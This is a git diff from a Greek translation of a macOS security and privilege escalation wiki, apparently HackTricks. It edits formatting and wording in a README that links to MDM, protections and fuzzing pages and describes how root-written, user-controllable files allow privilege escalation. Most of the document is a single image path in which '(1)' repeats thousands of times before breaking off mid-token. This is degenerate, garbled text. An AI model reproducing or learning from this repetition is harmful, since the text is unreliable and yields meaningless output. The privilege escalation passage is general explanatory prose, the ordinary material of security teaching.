είναι ένα επικίνδυνο σημείο εισόδου για τους επιτιθέμενους εάν η διαδικασία εγγραφής δεν προστατεύεται σωστά: - -{{#ref}} -enrolling-devices-in-other-organisations.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ( diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 763a6af64..58732b0cb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -6,13 +6,15 @@ Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να αρχίσετε να μαθαίνετε τα βασικά του macOS: -- Ειδικά αρχεία & δικαιώματα macOS: +- Ειδικά **αρχεία & δικαιώματα** macOS: + {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Κοινές χρήστες macOS +- Κοινές **χρήστες** macOS + {{#ref}} macos-users.md @@ -20,17 +22,20 @@ macos-users.md - **AppleFS** + {{#ref}} macos-applefs.md {{#endref}} - Η **αρχιτεκτονική** του k**ernel** + {{#ref}} mac-os-architecture/ {{#endref}} -- Κοινές υπηρεσίες & πρωτόκολλα δικτύου macOS +- Κοινές υπηρεσίες & **πρωτόκολλα δικτύου** macOS + {{#ref}} macos-protocols.md @@ -43,18 +48,21 @@ macos-protocols.md Σε εταιρείες, τα συστήματα **macOS** είναι πολύ πιθανό να είναι **διαχειριζόμενα με MDM**. Επομένως, από την προοπτική ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί**: + {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} ### MacOS - Επιθεώρηση, Αποσφαλμάτωση και Fuzzing + {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} ## MacOS Security Protections + {{#ref}} macos-security-protections/ {{#endref}} @@ -64,16 +72,17 @@ macos-security-protections/ ### File Permissions Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κάνει αναβάθμιση δικαιωμάτων**.\ -Αυτό θα μπορούσε να συμβεί στις παρακάτω καταστάσεις: +Αυτό θα μπορούσε να συμβεί στις εξής καταστάσεις: - Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη) -- Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας -- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) -- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) +- Το αρχείο που χρησιμοποιείται είναι εγγράψιμο από τον χρήστη λόγω ομάδας +- Το αρχείο που χρησιμοποιείται είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) +- Το αρχείο που χρησιμοποιείται είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτό λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο) -Η δυνατότητα **δημιουργίας ενός αρχείου** που θα **χρησιμοποιηθεί από τον root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία. +Η δυνατότητα **δημιουργίας ενός 